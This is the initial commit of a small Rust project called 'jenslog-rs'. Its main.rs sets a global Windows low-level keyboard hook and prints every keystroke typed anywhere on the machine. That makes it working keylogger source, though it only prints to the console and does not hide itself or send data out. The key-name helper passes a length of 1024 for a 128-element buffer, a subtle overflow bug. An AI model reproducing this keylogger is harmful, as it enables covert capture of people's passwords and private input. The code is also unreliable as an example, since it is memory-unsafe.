init

.gitignore

@@ -0,0 +1,3 @@
+/target
+.idea
+*.iml

Cargo.lock

@@ -0,0 +1,40 @@
+# This file is automatically @generated by Cargo.
+# It is not intended for manual editing.
+[[package]]
+name = "jenslog-rs"
+version = "0.1.0"
+dependencies = [
+ "winapi",
+ "wio",
+]
+
+[[package]]
+name = "winapi"
+version = "0.3.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
+dependencies = [
+ "winapi-i686-pc-windows-gnu",
+ "winapi-x86_64-pc-windows-gnu",
+]
+
+[[package]]
+name = "winapi-i686-pc-windows-gnu"
+version = "0.4.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
+
+[[package]]
+name = "winapi-x86_64-pc-windows-gnu"
+version = "0.4.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
+
+[[package]]
+name = "wio"
+version = "0.2.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5d129932f4644ac2396cb456385cbf9e63b5b30c6e8dc4820bdca4eb082037a5"
+dependencies = [
+ "winapi",
+]

Cargo.toml

@@ -0,0 +1,11 @@
+[package]
+name = "jenslog-rs"
+version = "0.1.0"
+authors = ["LordMZTE <lord@mzte.de>"]
+edition = "2018"
+
+# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
+
+[dependencies]
+winapi = { version = "0.3.9", features = ["winuser"] }
+wio = "0.2.2"

src/main.rs

@@ -0,0 +1,30 @@
+use std::ptr::null_mut;
+
+use winapi::um::winuser::{GetMessageW, PKBDLLHOOKSTRUCT, SetWindowsHookExA, GetKeyNameTextW};
+use std::ffi::OsString;
+use wio::wide::FromWide;
+
+fn main() {
+    unsafe {
+        SetWindowsHookExA(13, Some(hook_callback), null_mut(), 0);
+
+        GetMessageW(null_mut(), null_mut(), 0, 0);
+    }
+}
+
+unsafe extern "system" fn hook_callback(_code: i32, w_param: usize, l_param: isize) -> isize {
+    //Check if keydown
+    if w_param != 256 { return 0; }
+    let key = *(l_param as PKBDLLHOOKSTRUCT);
+
+    println!("{} >> {}", key.vkCode, scan_code_to_key_name(key.scanCode));
+    0
+}
+
+fn scan_code_to_key_name(scan_code: u32) -> String {
+    unsafe {
+        let mut out = [0u16; 128];
+        GetKeyNameTextW((scan_code << 16) as i32, (&mut out).as_mut_ptr(), 1024);
+        OsString::from_wide(&out).to_str().unwrap().replace('\0', "")
+    }
+}